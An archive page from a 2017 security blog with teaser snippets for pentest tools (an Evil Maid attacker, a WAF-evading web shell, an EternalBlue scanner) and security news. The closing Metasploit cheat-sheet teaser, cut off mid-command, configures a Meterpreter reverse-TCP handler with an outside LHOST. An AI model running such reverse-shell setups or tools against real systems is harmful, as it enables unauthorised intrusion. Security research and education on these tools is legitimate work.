July 2017 - DigitalMunition

Pentest Tools

Vulnreport – Pentesting Management And Automation Platform

July 31st, 2017 📅

Vulnreport is a platform for managing penetration tests and generating well-formatted, actionable findings reports without the normal overhead that takes

Pentest Tools

Twiga – A Tool That Enumerates Android Devices For Information Useful In Understanding Its Internals And For Exploit Development

July 31st, 2017 📅

A tool that enumerates Android devices for information useful in understanding its internals and for exploit development. It supports android

Pentest Tools

EvilAbigail – Automated Evil Maid Attack For Linux

July 30th, 2017 📅

EvilAbigail is a Python-based tool that allows you run an automated Evil Maid attack on Linux systems, this is the

Vulnerabilties

REMOTELY COMPROMISING ANDROID AND IOS VIA A BUG IN BROADCOM’S WI-FI CHIPSETS

July 30th, 2017 📅

At the Black Hat security conference, Artenstein demonstrated proof-of-concept attack code that exploited a vulnerability in Wi-Fi chips manufactured by

Hacking News

All You Need To Know About Cross-Site Request Forgery (CSRF)

July 28th, 2017 📅

Cross-Site Request Forgery is a term you’ve properly heard in the context of web security or web hacking, but do

Cryptography

Why You Should Be Using a Password Manager

July 28th, 2017 📅

If you’re unfamiliar, password managers such as LastPass offer a simple service: They will store all your pesky passwords (and

Pentest Tools

ASTo – An IoT Network Security Analysis Tool and Visualizer

July 27th, 2017 📅

ASTo is security analysis tool for IoT networks. It is developed to support the Apparatus security framework. ASTo is based

Pentest Tools

DAws – Advanced Web Shell

July 27th, 2017 📅

There’s multiple things that makes DAws better than every Web Shell out there: Bypasses Security Systems(IPS, WAFs,etc) like Suhosin(uses up

Pentest Tools

WSSAT – Web Service Security Assessment Tool

July 26th, 2017 📅

WSSAT is an open source web service security scanning tool which provides a dynamic environment to add, update or delete

Pentest Tools

inforfinder – Tool To Collect Information Of Any Domains Pointing At Some Server (Ip, Domain, Range, File)

July 26th, 2017 📅

nforfinder is a tool made to collect information of any domain pointing at a server (ip,domain,range,file). Requires python libs: pyRequests

Papers

Do Wearable Devices possess Security Threat?

July 25th, 2017 📅

Wearable devices aren’t relatively as everywhere as smart phones yet. But, IDC forecast shows that the wearables market is projected

Pentest Tools

CyberChef – Cyber Swiss Army Knife

July 25th, 2017 📅

CyberChef is a simple, intuitive web app for carrying out all manner of “cyber” operations within a web browser. These

Malware

maltran – Tool To Download Malware Exercises From MALware-TRaffic-ANalysis.net

July 24th, 2017 📅

This tool was developed with the purpose of furthering and organizing access to traffic analysis exercises and malware files captured

Hacking News

In the war taking place across the global internet, everyone is a combatant—and a target

July 24th, 2017 📅

This is already a banner year for hacks, breaches and cyberwarfare, but the past week was exceptional. South Carolina reported

Pentest Tools

ReconDog – An All In One Tool For All Your Basic Information Gathering Needs

July 24th, 2017 📅

Recon Dog is an all in one tool for all your basic information gathering needs. It uses APIs to gather

Pentest Tools

NagaScan – Distributed Passive Scanner for Web Application

July 23rd, 2017 📅

What is NagaScan NagaScan is a distributed passive vulnerability scanner for Web application. What NagaScan do NagaScan currently support some

Pentest Tools

Hardentools – Utility that disables a number of risky Windows features

July 23rd, 2017 📅

Hardentools is a collection of simple utilities designed to disable a number of “features” exposed by operating systems (Microsoft Windows,

Cryptography

Hash Buster – A Script Which Scraps Online Hash Crackers to Find Cleartext of a Hash (MD5, SHA1, SHA2)

July 23rd, 2017 📅

Hash Buster is a python script which uses several online hash crackers to find the clear text of a hash

Pentest Tools

Eternal – An internet scanner for Eternal Blue [exploit CVE-2017-0144]

July 23rd, 2017 📅

Eternal scanner is a network scanner for Eternal Blue exploit CVE-2017-0144. Requirements masscan metasploit-framework How to Install git clone https://github.com/peterpt/eternal_scanner.git

Hacking News

DDoS Tools availability Online, a worrisome trend

July 22nd, 2017 📅

Experts warn of an increased availability of DDoS tools online, many wannabe hackers download and use them without awareness on

Cryptography

$20 ANTENNAS CAN NOW HELP BREACH 256-BIT ENCRYPTION STANDARDS

July 21st, 2017 📅

This technique shows hackers don't need bottomless wallets or even direct access to a system to breach heavy encryption. Security

Malware

Ovidiy Stealer malware a credential stealer which is marketed in the Russian-speaking region

July 20th, 2017 📅

We must admit that malware and ransomware attacks are on the rise. Well, we all know that malware usually hides

Cyber Attack | Data Breach

Another Week Another Mass Domain Hijacking

July 20th, 2017 📅

Following shortly after the .io domain cock-up that left thousands vulnerable to domain hijacking, this week more than 750 domains

Hacking News

Metasploit Cheatsheet

July 19th, 2017 📅

Cheat sheet of Metasploit… Commands are as follows.. use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST rmccurdy.com set LPORT 21 set